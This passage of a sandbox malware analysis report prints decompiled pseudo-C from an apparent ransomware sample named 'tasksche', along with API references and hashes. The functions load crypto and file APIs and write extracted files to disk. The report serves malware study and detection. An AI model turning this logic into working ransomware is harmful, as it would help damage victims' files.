                                                                                                                                                                • HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,00402185,00402198,004021A3,004021B2,00000000), ref: 00402A3D
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000001C.00000002.376540609.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 0000001C.00000002.376521721.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376578380.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376601170.000000000040E000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376619681.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_28_2_400000_tasksche.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Heap$FreeProcessfree
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 3428986607-0
                                                                                                                                                                • Opcode ID: 67af2f346d87749f9cdb855264ac8d2816ecbe8db690f3f12af5f99a0e11ec4c
                                                                                                                                                                • Instruction ID: 6307eaad725422957632c7c85bafc458d1caddc7471a2505469f2591130cc2ff
                                                                                                                                                                • Opcode Fuzzy Hash: 67af2f346d87749f9cdb855264ac8d2816ecbe8db690f3f12af5f99a0e11ec4c
                                                                                                                                                                • Instruction Fuzzy Hash: C4010C72600A019FCB309FA5DE88967B7E9FF48321354483EF196A2591CB75F841CF58
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 004018B9 Relevance: 1.5, APIs: 1, Instructions: 25encryptionCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                C-Code - Quality: 16%
                                                                                                                                                                			E004018B9(void* __ecx) {
				signed int _t10;
				signed int _t11;
				long* _t12;
				void* _t13;
				void* _t18;

				_t18 = __ecx;
				_t10 =  *(__ecx + 8);
				if(_t10 != 0) {
					 *0x40f89c(_t10);
					 *(__ecx + 8) =  *(__ecx + 8) & 0x00000000;
				}
				_t11 =  *(_t18 + 0xc);
				if(_t11 != 0) {
					 *0x40f89c(_t11);
					 *(_t18 + 0xc) =  *(_t18 + 0xc) & 0x00000000;
				}
				_t12 =  *(_t18 + 4);
				if(_t12 != 0) {
					CryptReleaseContext(_t12, 0);
					 *(_t18 + 4) =  *(_t18 + 4) & 0x00000000;
				}
				_t13 = 1;
				return _t13;
			}








                                                                                                                                                                0x004018ba
                                                                                                                                                                0x004018bc
                                                                                                                                                                0x004018c1
                                                                                                                                                                0x004018c4
                                                                                                                                                                0x004018ca
                                                                                                                                                                0x004018ca
                                                                                                                                                                0x004018ce
                                                                                                                                                                0x004018d3
                                                                                                                                                                0x004018d6
                                                                                                                                                                0x004018dc
                                                                                                                                                                0x004018dc
                                                                                                                                                                0x004018e0
                                                                                                                                                                0x004018e5
                                                                                                                                                                0x004018ea
                                                                                                                                                                0x004018f0
                                                                                                                                                                0x004018f0
                                                                                                                                                                0x004018f6
                                                                                                                                                                0x004018f8

                                                                                                                                                                APIs
                                                                                                                                                                • CryptReleaseContext.ADVAPI32(?,00000000,?,004013DB,?,?,?,0040139D,?,?,00401366), ref: 004018EA
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000001C.00000002.376540609.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 0000001C.00000002.376521721.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376578380.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376601170.000000000040E000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376619681.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_28_2_400000_tasksche.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: ContextCryptRelease
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 829835001-0
                                                                                                                                                                • Opcode ID: 5ecafc68ca33f8cfa3c4e9ed1ded46982a6db61dfcb788b9f393b121ae522fda
                                                                                                                                                                • Instruction ID: 2349b07d823645f04250185dd133334db1216db109592f97c32ed3e6f6040a2b
                                                                                                                                                                • Opcode Fuzzy Hash: 5ecafc68ca33f8cfa3c4e9ed1ded46982a6db61dfcb788b9f393b121ae522fda
                                                                                                                                                                • Instruction Fuzzy Hash: C7E0ED323147019BEB30AB65ED49B5373E8AF00762F04C83DB05AE6990CBB9E8448A58
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 0040170A Relevance: 28.1, APIs: 8, Strings: 8, Instructions: 65libraryloaderCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                C-Code - Quality: 100%
                                                                                                                                                                			E0040170A() {
				void* _t3;
				_Unknown_base(*)()* _t11;
				struct HINSTANCE__* _t13;
				intOrPtr _t18;
				intOrPtr _t20;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t23;
				intOrPtr _t24;
				intOrPtr _t25;

				if(E00401A45() == 0) {
					L11:
					return 0;
				}
				_t18 =  *0x40f878; // 0x0
				if(_t18 != 0) {
					L10:
					_t3 = 1;
					return _t3;
				}
				_t13 = LoadLibraryA("kernel32.dll");
				if(_t13 == 0) {
					goto L11;
				}
				 *0x40f878 = GetProcAddress(_t13, "CreateFileW");
				 *0x40f87c = GetProcAddress(_t13, "WriteFile");
				 *0x40f880 = GetProcAddress(_t13, "ReadFile");
				 *0x40f884 = GetProcAddress(_t13, "MoveFileW");
				 *0x40f888 = GetProcAddress(_t13, "MoveFileExW");
				 *0x40f88c = GetProcAddress(_t13, "DeleteFileW");
				_t11 = GetProcAddress(_t13, "CloseHandle");
				_t20 =  *0x40f878; // 0x0
				 *0x40f890 = _t11;
				if(_t20 == 0) {
					goto L11;
				}
				_t21 =  *0x40f87c; // 0x0
				if(_t21 == 0) {
					goto L11;
				}
				_t22 =  *0x40f880; // 0x0
				if(_t22 == 0) {
					goto L11;
				}
				_t23 =  *0x40f884; // 0x0
				if(_t23 == 0) {
					goto L11;
				}
				_t24 =  *0x40f888; // 0x0
				if(_t24 == 0) {
					goto L11;
				}
				_t25 =  *0x40f88c; // 0x0
				if(_t25 == 0 || _t11 == 0) {
					goto L11;
				} else {
					goto L10;
				}
			}













                                                                                                                                                                0x00401713
                                                                                                                                                                0x004017d8
                                                                                                                                                                0x00000000
                                                                                                                                                                0x004017d8
                                                                                                                                                                0x0040171b
                                                                                                                                                                0x00401721
                                                                                                                                                                0x004017d3
                                                                                                                                                                0x004017d5
                                                                                                                                                                0x00000000
                                                                                                                                                                0x004017d5
                                                                                                                                                                0x00401732
                                                                                                                                                                0x00401736
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00401751
                                                                                                                                                                0x0040175e
                                                                                                                                                                0x0040176b
                                                                                                                                                                0x00401778
                                                                                                                                                                0x00401785
                                                                                                                                                                0x00401792
                                                                                                                                                                0x00401797
                                                                                                                                                                0x00401799
                                                                                                                                                                0x0040179f
                                                                                                                                                                0x004017a5
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00000000
                                                                                                                                                                0x004017a7
                                                                                                                                                                0x004017ad
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00000000
                                                                                                                                                                0x004017af
                                                                                                                                                                0x004017b5
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00000000
                                                                                                                                                                0x004017b7
                                                                                                                                                                0x004017bd
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00000000
                                                                                                                                                                0x004017bf
                                                                                                                                                                0x004017c5
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00000000
                                                                                                                                                                0x004017c7
                                                                                                                                                                0x004017cd
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00000000

                                                                                                                                                                APIs
                                                                                                                                                                  • Part of subcall function 00401A45: LoadLibraryA.KERNEL32(advapi32.dll,?,?,00401711), ref: 00401A5A
                                                                                                                                                                  • Part of subcall function 00401A45: GetProcAddress.KERNEL32(00000000,CryptAcquireContextA,?,?,?,00401711), ref: 00401A77
                                                                                                                                                                  • Part of subcall function 00401A45: GetProcAddress.KERNEL32(00000000,CryptImportKey,?,?,?,00401711), ref: 00401A84
                                                                                                                                                                  • Part of subcall function 00401A45: GetProcAddress.KERNEL32(00000000,CryptDestroyKey,?,?,?,00401711), ref: 00401A91
                                                                                                                                                                  • Part of subcall function 00401A45: GetProcAddress.KERNEL32(00000000,CryptEncrypt,?,?,?,00401711), ref: 00401A9E
                                                                                                                                                                  • Part of subcall function 00401A45: GetProcAddress.KERNEL32(00000000,CryptDecrypt,?,?,?,00401711), ref: 00401AAB
                                                                                                                                                                  • Part of subcall function 00401A45: GetProcAddress.KERNEL32(00000000,CryptGenKey,?,?,?,00401711), ref: 00401AB8
                                                                                                                                                                • LoadLibraryA.KERNEL32(kernel32.dll), ref: 0040172C
                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,CreateFileW), ref: 00401749
                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,WriteFile), ref: 00401756
                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,ReadFile), ref: 00401763
                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,MoveFileW), ref: 00401770
                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,MoveFileExW), ref: 0040177D
                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,DeleteFileW), ref: 0040178A
                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,CloseHandle), ref: 00401797
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000001C.00000002.376540609.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 0000001C.00000002.376521721.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376578380.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376601170.000000000040E000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376619681.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_28_2_400000_tasksche.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: AddressProc$LibraryLoad
                                                                                                                                                                • String ID: CloseHandle$CreateFileW$DeleteFileW$MoveFileExW$MoveFileW$ReadFile$WriteFile$kernel32.dll
                                                                                                                                                                • API String ID: 2238633743-1294736154
                                                                                                                                                                • Opcode ID: 39239a652de09aa7f9a0fc3aed99621d6525255b515761ed1c17c464bdaba5bf
                                                                                                                                                                • Instruction ID: c344c10c919c95db3ecd10b94979b50738023765c799e55a58251b06a1d00095
                                                                                                                                                                • Opcode Fuzzy Hash: 39239a652de09aa7f9a0fc3aed99621d6525255b515761ed1c17c464bdaba5bf
                                                                                                                                                                • Instruction Fuzzy Hash: D9118E729003059ACB30BF73AE84A577AF8A644751B64483FE501B3EF0D77894499E1E
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 00401A45 Relevance: 24.6, APIs: 7, Strings: 7, Instructions: 56libraryloaderCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                C-Code - Quality: 100%
                                                                                                                                                                			E00401A45() {
				void* _t1;
				_Unknown_base(*)()* _t9;
				struct HINSTANCE__* _t11;
				intOrPtr _t15;
				intOrPtr _t17;
				intOrPtr _t18;
				intOrPtr _t19;
				intOrPtr _t20;
				intOrPtr _t21;

				_t15 =  *0x40f894; // 0x0
				if(_t15 != 0) {
					L8:
					_t1 = 1;
					return _t1;
				}
				_t11 = LoadLibraryA("advapi32.dll");
				if(_t11 == 0) {
					L9:
					return 0;
				}
				 *0x40f894 = GetProcAddress(_t11, "CryptAcquireContextA");
				 *0x40f898 = GetProcAddress(_t11, "CryptImportKey");
				 *0x40f89c = GetProcAddress(_t11, "CryptDestroyKey");
				 *0x40f8a0 = GetProcAddress(_t11, "CryptEncrypt");
				 *0x40f8a4 = GetProcAddress(_t11, "CryptDecrypt");
				_t9 = GetProcAddress(_t11, "CryptGenKey");
				_t17 =  *0x40f894; // 0x0
				 *0x40f8a8 = _t9;
				if(_t17 == 0) {
					goto L9;
				}
				_t18 =  *0x40f898; // 0x0
				if(_t18 == 0) {
					goto L9;
				}
				_t19 =  *0x40f89c; // 0x0
				if(_t19 == 0) {
					goto L9;
				}
				_t20 =  *0x40f8a0; // 0x0
				if(_t20 == 0) {
					goto L9;
				}
				_t21 =  *0x40f8a4; // 0x0
				if(_t21 == 0 || _t9 == 0) {
					goto L9;
				} else {
					goto L8;
				}
			}












                                                                                                                                                                0x00401a48
                                                                                                                                                                0x00401a4f
                                                                                                                                                                0x00401aec
                                                                                                                                                                0x00401aee
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00401aee
                                                                                                                                                                0x00401a60
                                                                                                                                                                0x00401a64
                                                                                                                                                                0x00401af1
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00401af1
                                                                                                                                                                0x00401a7f
                                                                                                                                                                0x00401a8c
                                                                                                                                                                0x00401a99
                                                                                                                                                                0x00401aa6
                                                                                                                                                                0x00401ab3
                                                                                                                                                                0x00401ab8
                                                                                                                                                                0x00401aba
                                                                                                                                                                0x00401ac0
                                                                                                                                                                0x00401ac6
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00401ac8
                                                                                                                                                                0x00401ace
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00401ad0
                                                                                                                                                                0x00401ad6
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00401ad8
                                                                                                                                                                0x00401ade
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00401ae0
                                                                                                                                                                0x00401ae6
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00000000

                                                                                                                                                                APIs
                                                                                                                                                                • LoadLibraryA.KERNEL32(advapi32.dll,?,?,00401711), ref: 00401A5A
                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,CryptAcquireContextA,?,?,?,00401711), ref: 00401A77
                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,CryptImportKey,?,?,?,00401711), ref: 00401A84
                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,CryptDestroyKey,?,?,?,00401711), ref: 00401A91
                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,CryptEncrypt,?,?,?,00401711), ref: 00401A9E
                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,CryptDecrypt,?,?,?,00401711), ref: 00401AAB
                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,CryptGenKey,?,?,?,00401711), ref: 00401AB8
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000001C.00000002.376540609.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 0000001C.00000002.376521721.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376578380.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376601170.000000000040E000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376619681.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_28_2_400000_tasksche.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: AddressProc$LibraryLoad
                                                                                                                                                                • String ID: CryptAcquireContextA$CryptDecrypt$CryptDestroyKey$CryptEncrypt$CryptGenKey$CryptImportKey$advapi32.dll
                                                                                                                                                                • API String ID: 2238633743-2459060434
                                                                                                                                                                • Opcode ID: b9d8274d123a30a539352919ce36730ce9328d7041a45cd95e79278e35d60e58
                                                                                                                                                                • Instruction ID: 9aae3444cc52ced5e7e1ad1d2a06d11cf911cb2b3a933a05a08c6ba10b936042
                                                                                                                                                                • Opcode Fuzzy Hash: b9d8274d123a30a539352919ce36730ce9328d7041a45cd95e79278e35d60e58
                                                                                                                                                                • Instruction Fuzzy Hash: 20011E32A86311EBDB30AFA5AE856677AE4EA41750368843FB104B2DB1D7F81448DE5C
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 00407136 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 272COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                C-Code - Quality: 88%
                                                                                                                                                                			E00407136(intOrPtr* __ecx, void* __edx, void* _a4, char _a7, char* _a8, char _a11, signed int _a12, intOrPtr _a16) {
				long _v8;
				char _v267;
				char _v268;
				struct _FILETIME _v284;
				struct _FILETIME _v292;
				struct _FILETIME _v300;
				long _v304;
				char _v568;
				char _v828;
				intOrPtr _t78;
				intOrPtr _t89;
				intOrPtr _t91;
				intOrPtr _t96;
				intOrPtr _t97;
				char _t100;
				void* _t112;
				void* _t113;
				int _t124;
				long _t131;
				intOrPtr _t136;
				char* _t137;
				char* _t144;
				void* _t148;
				char* _t150;
				void* _t154;
				signed int _t155;
				long _t156;
				void* _t157;
				char* _t158;
				long _t159;
				intOrPtr* _t161;
				long _t162;
				void* _t163;
				void* _t164;

				_t154 = __edx;
				_t139 = __ecx;
				_t136 = _a16;
				_t161 = __ecx;
				if(_t136 == 3) {
					_t78 =  *((intOrPtr*)(__ecx + 4));
					_t155 = _a4;
					__eflags = _t155 - _t78;
					if(_t155 == _t78) {
						L14:
						_t156 = E00406880(_t139,  *_t161, _a8, _a12,  &_a7);
						__eflags = _t156;
						if(_t156 <= 0) {
							E00406A97( *_t161);
							_t14 = _t161 + 4;
							 *_t14 =  *(_t161 + 4) | 0xffffffff;
							__eflags =  *_t14;
						}
						__eflags = _a7;
						if(_a7 == 0) {
							__eflags = _t156;
							if(_t156 <= 0) {
								__eflags = _t156 - 0xffffff96;
								return ((0 | _t156 != 0xffffff96) - 0x00000001 & 0xfb001000) + 0x5000000;
							}
							return 0x600;
						} else {
							L17:
							return 0;
						}
					}
					__eflags = _t78 - 0xffffffff;
					if(_t78 != 0xffffffff) {
						E00406A97( *__ecx);
						_pop(_t139);
					}
					_t89 =  *_t161;
					 *(_t161 + 4) =  *(_t161 + 4) | 0xffffffff;
					__eflags = _t155 -  *((intOrPtr*)(_t89 + 4));
					if(_t155 >=  *((intOrPtr*)(_t89 + 4))) {
						L3:
						return 0x10000;
					} else {
						__eflags = _t155 -  *((intOrPtr*)(_t89 + 0x10));
						if(_t155 >=  *((intOrPtr*)(_t89 + 0x10))) {
							L11:
							_t91 =  *_t161;
							__eflags =  *((intOrPtr*)(_t91 + 0x10)) - _t155;
							if( *((intOrPtr*)(_t91 + 0x10)) >= _t155) {
								E0040671D(_t154,  *_t161,  *((intOrPtr*)(_t161 + 0x138)));
								 *(_t161 + 4) = _t155;
								_pop(_t139);
								goto L14;
							}
							E00406520(_t91);
							L10:
							goto L11;
						}
						E004064E2(_t139, _t89);
						goto L10;
					}
				}
				if(_t136 == 2 || _t136 == 1) {
					__eflags =  *(_t161 + 4) - 0xffffffff;
					if( *(_t161 + 4) != 0xffffffff) {
						E00406A97( *_t161);
						_pop(_t139);
					}
					_t96 =  *_t161;
					_t157 = _a4;
					 *(_t161 + 4) =  *(_t161 + 4) | 0xffffffff;
					__eflags = _t157 -  *((intOrPtr*)(_t96 + 4));
					if(_t157 >=  *((intOrPtr*)(_t96 + 4))) {
						goto L3;
					} else {
						__eflags = _t157 -  *((intOrPtr*)(_t96 + 0x10));
						if(_t157 >=  *((intOrPtr*)(_t96 + 0x10))) {
							L27:
							_t97 =  *_t161;
							__eflags =  *((intOrPtr*)(_t97 + 0x10)) - _t157;
							if( *((intOrPtr*)(_t97 + 0x10)) >= _t157) {
								E00406C40(_t161, _t154, _t157,  &_v568);
								__eflags = _v304 & 0x00000010;
								if((_v304 & 0x00000010) == 0) {
									__eflags = _t136 - 1;
									if(_t136 != 1) {
										_t158 = _a8;
										_t137 = _t158;
										_t144 = _t158;
										_t100 =  *_t158;
										while(1) {
											__eflags = _t100;
											if(_t100 == 0) {
												break;
											}
											__eflags = _t100 - 0x2f;
											if(_t100 == 0x2f) {
												L44:
												_t137 =  &(_t144[1]);
												L45:
												_t100 = _t144[1];
												_t144 =  &(_t144[1]);
												continue;
											}
											__eflags = _t100 - 0x5c;
											if(_t100 != 0x5c) {
												goto L45;
											}
											goto L44;
										}
										strcpy( &_v268, _t158);
										__eflags = _t137 - _t158;
										if(_t137 != _t158) {
											 *(_t163 + _t137 - _t158 - 0x108) =  *(_t163 + _t137 - _t158 - 0x108) & 0x00000000;
											__eflags = _v268 - 0x2f;
											if(_v268 == 0x2f) {
												L56:
												wsprintfA( &_v828, "%s%s",  &_v268, _t137);
												E00407070(0,  &_v268);
												_t164 = _t164 + 0x18;
												L49:
												__eflags = 0;
												_t112 = CreateFileA( &_v828, 0x40000000, 0, 0, 2, _v304, 0);
												L50:
												__eflags = _t112 - 0xffffffff;
												_a4 = _t112;
												if(_t112 != 0xffffffff) {
													_t113 = E0040671D(_t154,  *_t161,  *((intOrPtr*)(_t161 + 0x138)));
													__eflags =  *(_t161 + 0x13c);
													_pop(_t148);
													if( *(_t161 + 0x13c) == 0) {
														L00407700();
														_t148 = 0x4000;
														 *(_t161 + 0x13c) = _t113;
													}
													_t60 =  &_a12;
													 *_t60 = _a12 & 0x00000000;
													__eflags =  *_t60;
													while(1) {
														_t159 = E00406880(_t148,  *_t161,  *(_t161 + 0x13c), 0x4000,  &_a11);
														_t164 = _t164 + 0x10;
														__eflags = _t159 - 0xffffff96;
														if(_t159 == 0xffffff96) {
															break;
														}
														__eflags = _t159;
														if(__eflags < 0) {
															L68:
															_a12 = 0x5000000;
															L71:
															__eflags = _a16 - 1;
															if(_a16 != 1) {
																CloseHandle(_a4);
															}
															E00406A97( *_t161);
															return _a12;
														}
														if(__eflags <= 0) {
															L64:
															__eflags = _a11;
															if(_a11 != 0) {
																SetFileTime(_a4,  &_v292,  &_v300,  &_v284);
																goto L71;
															}
															__eflags = _t159;
															if(_t159 == 0) {
																goto L68;
															}
															continue;
														}
														_t124 = WriteFile(_a4,  *(_t161 + 0x13c), _t159,  &_v8, 0);
														__eflags = _t124;
														if(_t124 == 0) {
															_a12 = 0x400;
															goto L71;
														}
														goto L64;
													}
													_a12 = 0x1000;
													goto L71;
												}
												return 0x200;
											}
											__eflags = _v268 - 0x5c;
											if(_v268 == 0x5c) {
												goto L56;
											}
											__eflags = _v268;
											if(_v268 == 0) {
												L48:
												_t160 = _t161 + 0x140;
												wsprintfA( &_v828, "%s%s%s", _t161 + 0x140,  &_v268, _t137);
												E00407070(_t160,  &_v268);
												_t164 = _t164 + 0x1c;
												goto L49;
											}
											__eflags = _v267 - 0x3a;
											if(_v267 != 0x3a) {
												goto L48;
											}
											goto L56;
										}
										_t37 =  &_v268;
										 *_t37 = _v268 & 0x00000000;
										__eflags =  *_t37;
										goto L48;
									}
									_t112 = _a8;
									goto L50;
								}
								__eflags = _t136 - 1;
								if(_t136 == 1) {
									goto L17;
								}
								_t150 = _a8;
								_t131 =  *_t150;
								__eflags = _t131 - 0x2f;
								if(_t131 == 0x2f) {
									L35:
									_push(_t150);
									_push(0);
									L37:
									E00407070();
									goto L17;
								}
								__eflags = _t131 - 0x5c;
								if(_t131 == 0x5c) {
									goto L35;
								}
								__eflags = _t131;
								if(_t131 == 0) {
									L36:
									_t162 = _t161 + 0x140;
									__eflags = _t162;
									_push(_t150);
									_push(_t162);
									goto L37;
								}
								__eflags = _t150[1] - 0x3a;
								if(_t150[1] != 0x3a) {
									goto L36;
								}
								goto L35;
							}
							E00406520(_t97);
							L26:
							goto L27;
						}
						E004064E2(_t139, _t96);
						goto L26;
					}
				} else {
					goto L3;
				}
			}





































                                                                                                                                                                0x00407136
                                                                                                                                                                0x00407136
                                                                                                                                                                0x00407140
                                                                                                                                                                0x00407148
                                                                                                                                                                0x0040714a
                                                                                                                                                                0x00407168
                                                                                                                                                                0x0040716b
                                                                                                                                                                0x0040716e
                                                                                                                                                                0x00407170
                                                                                                                                                                0x004071b7
                                                                                                                                                                0x004071c8
                                                                                                                                                                0x004071cd
                                                                                                                                                                0x004071cf
                                                                                                                                                                0x004071d3
                                                                                                                                                                0x004071d8
                                                                                                                                                                0x004071d8
                                                                                                                                                                0x004071d8
                                                                                                                                                                0x004071dc
                                                                                                                                                                0x004071dd
                                                                                                                                                                0x004071e1
                                                                                                                                                                0x004071ea
                                                                                                                                                                0x004071ec
                                                                                                                                                                0x004071fa
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00407206
                                                                                                                                                                0x00000000
                                                                                                                                                                0x004071e3
                                                                                                                                                                0x004071e3
                                                                                                                                                                0x00000000
                                                                                                                                                                0x004071e3
                                                                                                                                                                0x004071e1
                                                                                                                                                                0x00407172
                                                                                                                                                                0x00407175
                                                                                                                                                                0x00407179
                                                                                                                                                                0x0040717e
                                                                                                                                                                0x0040717e
                                                                                                                                                                0x0040717f
                                                                                                                                                                0x00407181
                                                                                                                                                                0x00407185
                                                                                                                                                                0x00407188
                                                                                                                                                                0x0040715e
                                                                                                                                                                0x00000000
                                                                                                                                                                0x0040718a
                                                                                                                                                                0x0040718a
                                                                                                                                                                0x0040718d
                                                                                                                                                                0x00407196
                                                                                                                                                                0x00407196
                                                                                                                                                                0x00407198
                                                                                                                                                                0x0040719b
                                                                                                                                                                0x004071ad
                                                                                                                                                                0x004071b3
                                                                                                                                                                0x004071b6
                                                                                                                                                                0x00000000
                                                                                                                                                                0x004071b6
                                                                                                                                                                0x0040719e
                                                                                                                                                                0x00407195
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00407195
                                                                                                                                                                0x00407190
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00407190
                                                                                                                                                                0x00407188
                                                                                                                                                                0x0040714f
                                                                                                                                                                0x00407210
                                                                                                                                                                0x00407214
                                                                                                                                                                0x00407218
                                                                                                                                                                0x0040721d
                                                                                                                                                                0x0040721d
                                                                                                                                                                0x0040721e
                                                                                                                                                                0x00407220
                                                                                                                                                                0x00407223
                                                                                                                                                                0x00407227
                                                                                                                                                                0x0040722a
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00407230
                                                                                                                                                                0x00407230
                                                                                                                                                                0x00407233
                                                                                                                                                                0x0040723c
                                                                                                                                                                0x0040723c
                                                                                                                                                                0x0040723e
                                                                                                                                                                0x00407241
                                                                                                                                                                0x00407255
                                                                                                                                                                0x0040725a
                                                                                                                                                                0x00407261
                                                                                                                                                                0x0040729c
                                                                                                                                                                0x0040729f
                                                                                                                                                                0x004072a9
                                                                                                                                                                0x004072ac
                                                                                                                                                                0x004072ae
                                                                                                                                                                0x004072b0
                                                                                                                                                                0x004072b2
                                                                                                                                                                0x004072b2
                                                                                                                                                                0x004072b4
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00000000
                                                                                                                                                                0x004072b6
                                                                                                                                                                0x004072b8
                                                                                                                                                                0x004072be
                                                                                                                                                                0x004072be
                                                                                                                                                                0x004072c1
                                                                                                                                                                0x004072c1
                                                                                                                                                                0x004072c4
                                                                                                                                                                0x00000000
                                                                                                                                                                0x004072c4
                                                                                                                                                                0x004072ba
                                                                                                                                                                0x004072bc
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00000000
                                                                                                                                                                0x004072bc
                                                                                                                                                                0x004072cf
                                                                                                                                                                0x004072d5
                                                                                                                                                                0x004072d8
                                                                                                                                                                0x00407347
                                                                                                                                                                0x0040734f
                                                                                                                                                                0x00407356
                                                                                                                                                                0x0040737b
                                                                                                                                                                0x0040738f
                                                                                                                                                                0x0040739e
                                                                                                                                                                0x004073a3
                                                                                                                                                                0x00407312
                                                                                                                                                                0x00407312
                                                                                                                                                                0x0040732b
                                                                                                                                                                0x00407331
                                                                                                                                                                0x00407331
                                                                                                                                                                0x00407334
                                                                                                                                                                0x00407337
                                                                                                                                                                0x004073b3
                                                                                                                                                                0x004073b8
                                                                                                                                                                0x004073c0
                                                                                                                                                                0x004073c6
                                                                                                                                                                0x004073c9
                                                                                                                                                                0x004073ce
                                                                                                                                                                0x004073cf
                                                                                                                                                                0x004073cf
                                                                                                                                                                0x004073d5
                                                                                                                                                                0x004073d5
                                                                                                                                                                0x004073d5
                                                                                                                                                                0x004073d9
                                                                                                                                                                0x004073eb
                                                                                                                                                                0x004073ed
                                                                                                                                                                0x004073f0
                                                                                                                                                                0x004073f3
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00000000
                                                                                                                                                                0x004073f5
                                                                                                                                                                0x004073f7
